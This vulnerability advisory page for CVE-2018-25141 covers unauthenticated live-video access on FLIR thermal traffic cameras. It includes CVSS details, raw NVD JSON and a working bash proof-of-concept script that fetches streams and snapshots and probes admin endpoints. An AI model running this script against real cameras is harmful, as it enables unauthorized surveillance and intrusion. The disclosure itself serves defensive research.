Security Vulnerability Report
中文
CVE-2018-25141 CVSS 7.5 HIGH

CVE-2018-25141

Published: 2025-12-24 20:15:48
Last Modified: 2026-04-15 00:35:42

Description

FLIR thermal traffic cameras contain an unauthenticated vulnerability that allows remote attackers to access live video streams without credentials. Attackers can directly retrieve video streams by accessing specific endpoints like /live.mjpeg, /snapshot.jpg, and RTSP streaming URLs without authentication.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FLIR Thermal Traffic Cameras (firmware versions prior to latest patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2018-25141 PoC - FLIR Thermal Traffic Camera Unauthenticated Video Access # Usage: ./exploit.sh <target_ip> TARGET=$1 PORT=80 if [ -z "$TARGET" ]; then echo "Usage: $0 <target_ip>" exit 1 fi echo "[*] Testing CVE-2018-25141 on target: $TARGET" echo "[*] Target: FLIR Thermal Traffic Camera" # Test 1: Access MJPEG live stream echo "[+] Test 1: Attempting to access live.mjpeg stream..." curl -s -o /tmp/live_test.mjpeg -w "%{http_code}" "http://$TARGET/live.mjpeg" --max-time 10 if [ -s /tmp/live_test.mjpeg ]; then echo "[SUCCESS] MJPEG stream accessible without authentication!" echo "[INFO] Stream saved to /tmp/live_test.mjpeg" else echo "[FAILED] MJPEG stream not accessible" fi # Test 2: Access snapshot image echo "[+] Test 2: Attempting to access snapshot.jpg..." SNAPSHOT_CODE=$(curl -s -o /tmp/snapshot_test.jpg -w "%{http_code}" "http://$TARGET/snapshot.jpg" --max-time 10) echo "[Response Code: $SNAPSHOT_CODE]" if [ -s /tmp/snapshot_test.jpg ]; then echo "[SUCCESS] Snapshot image accessible without authentication!" file /tmp/snapshot_test.jpg else echo "[FAILED] Snapshot not accessible" fi # Test 3: Check RTSP stream availability echo "[+] Test 3: Checking RTSP stream availability..." echo "[INFO] Try connecting with VLC: rtsp://$TARGET/stream" echo "[INFO] Or use ffplay: ffplay rtsp://$TARGET/stream" # Test 4: Enumerate other potentially accessible endpoints echo "[+] Test 4: Enumerating other endpoints..." ENDPOINTS=("/" "/admin" "/api" "/config" "/status") for endpoint in "${ENDPOINTS[@]}"; do CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://$TARGET$endpoint" --max-time 5) echo " $endpoint -> HTTP $CODE" done echo "" echo "[*] Exploitation complete" echo "[!] Note: This PoC is for authorized security testing only"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25141", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:48.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FLIR thermal traffic cameras contain an unauthenticated vulnerability that allows remote attackers to access live video streams without credentials. Attackers can directly retrieve video streams by accessing specific endpoints like /live.mjpeg, /snapshot.jpg, and RTSP streaming URLs without authentication."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/45537", "source": "[email protected]"}, {"url": "https://www.flir.com", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5489.php", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45537", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5489.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}